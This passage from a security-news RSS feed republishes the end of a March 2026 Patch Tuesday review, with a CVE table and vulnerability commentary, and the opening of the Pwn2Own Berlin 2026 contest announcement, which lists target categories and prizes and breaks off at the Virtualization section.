  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
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  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




